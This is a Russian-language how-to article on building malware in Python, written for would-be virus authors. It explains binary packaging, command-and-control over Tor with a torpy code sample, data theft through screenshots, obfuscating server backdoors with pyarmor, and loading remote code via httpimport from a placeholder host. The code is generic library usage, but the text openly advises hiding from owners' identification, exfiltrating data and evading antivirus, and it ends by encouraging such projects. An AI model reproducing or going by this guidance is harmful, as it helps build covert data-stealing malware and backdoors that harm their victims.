Как известно, с помощью python можно решать множество повседневных рутинных задач: периодически создавать резервные копии файлов, отправлять электронные письма, искать и выполнять различные действия с файлами на жестком диске и так далее. Поскольку Python — это язык программирования высокого уровня, на нем также можно писать вирусы. Вредоносное ПО, созданное с помощью ЯВУ, обычно классифицируется как HLLx (High Level Language, x — метод воспроизведения).
Упаковка в бинарники
Поскольку Python является интерпретируемым языком, возникают некоторые трудности с распространением вредоносных программ: для этого требуется, чтобы операционная система имела интерпретатор правильной версии и чтобы все необходимые библиотеки были установлены в правильные места на жестком диске. Все это серьезно влияет на типы программ, которые необходимо устанавливать и запускать самостоятельно. Поэтому вирусы Python, которые стремятся заразить клиентские компьютеры (а также могут заразить серверы), обычно упаковываются в исполняемый двоичный файл, который либо содержит интерпретатор с библиотеками в архиве, либо двоичную программу, основанную на коде Python.
-
https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
-
https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.
Антивирусные программы могут распознавать шаблоны и типичные структуры вирусов и, следовательно, вычислять вредоносные программы на основе их типичных байтовых последовательностей. Чтобы спрятаться от защиты от вирусов, создатели вирусов сами меняют свой код.При каждой новой установке вредоносная программа переписывает свой код и генерирует все больше и больше вариантов двоичного файла, которые больше не распознаются антивирусным ПО. Этот подход известен как полиморфное кодирование и не может использоваться при работе с кодом Python, который был переведен в двоичный формат. Вредоносное ПО Python, лишенное основных антивирусных инструментов, очень уязвимо даже для самых простых антивирусов.
Как вирус держит связь с хозяином
Вредоносным программам необходимо как-то общаться со своими владельцами, получать от них команды и обновления, а также отправлять им извлеченные данные. Вирусы могут быть только мелкими хулиганами без обратной связи.
Для связи вам понадобится какой-то удаленный адрес, с которым происходит обмен информацией. Регистрировать домен и покупать сервер — не лучшая идея: можно легко определить владельца вируса. Конечно, существует множество типов анонимного хостинга и сомнительной честности регистраторов доменов, но даже с ними риск не минимален.
Более безопасные варианты — это обмен мгновенными сообщениями (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
from torpy import TorClient
hostname = 'ifconfig.me' # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
# Create tor stream to host
with circuit.create_stream((hostname, 80)) as stream:
# Now we can communicate with host
stream.send(b'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % hostname.encode())
recv = stream.recv(1024)
Работа с tor c этой либой проста, не сложнее requests.
Как делать скриншоты из Python
Кража личных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями не для программистов — это легко делается с помощью обычных инструментов Python. Перехватывать нажатия клавиш в ОС сложнее, но вы можете это погуглить. Для работы с веб-камерой — OpenCV. Единственное, что вызывает вопросы, это как делать скриншоты из Python?
Здесь рассмотрим pyscreenshot. Предвидя ваши вопросы, скажу, что внутри библиотеки нет никакого волшебства — она не может читать экранный буфер Python. Этот пакет основан на наборе костылей и аксессуаров, которые определяют тип операционной системы, в которой работает ваша программа, а затем в операционной системе выполняется поиск инструментов, доступных для захвата экрана.
# pyscreenshot/examples/grabfullscreen.py
"Grab the whole screen"
import pyscreenshot as ImageGrab
# grab fullscreen
im = ImageGrab.grab()
# save image file
im.save("fullscreen.png")
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Токсичность серверов
Бэкдоры Python для серверов также возникают естественным образом. Они тоже способны гадить на вашу систему, но механизмы их работы уже другие.
Например, вирус сервера Python не нужно упаковывать в двоичный файл — многие серверы имеют интерпретатор Python: вы можете запустить его на нем. Поэтому авторы серверных вредоносных программ вместо упаковки кода используют обфускацию — обфускацию исходных кодов, чтобы их нельзя было прочесть.
Одним из самых популярных инструментов обфускации является pyarmor. Одна команда легко превращает ваш код в неразборчивую чушь и затрудняет понимание текста программы. Тема обфускации кода в целом очень интересна. Для того, чтобы углубить свои знания по этой теме, рекомендую ознакомиться с книгой. Pyarmor полезен не только вирусописателям, но и тем, кто по каким-то причинам хочет защитить исходный код от легкого чтения.
Второе, на что следует обратить внимание разработчикам серверных вредоносных программ, — это наличие библиотек.
Можно переместить весь код в один файл, но тогда он будет очень большим. Второй вариант — это exec () / eval () и чтение кода с удаленного сервера: этот подход явно лучше! Однако самый простой способ реализовать это — использовать предварительно созданную библиотеку httpimport для удаленного импорта пакетов Python.
>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
... import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
... import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'
Итоги
Конечно, написание вредоносных программ на Python — всегда извращение, но если вы действительно хотите, вы можете довести эти поделки до желаемого уровня производительности, положить их на полку и показать всем. К тому же вирус будет кроссплатформенным, и далеко не все крутые вирусописатели могут этим похвастаться :).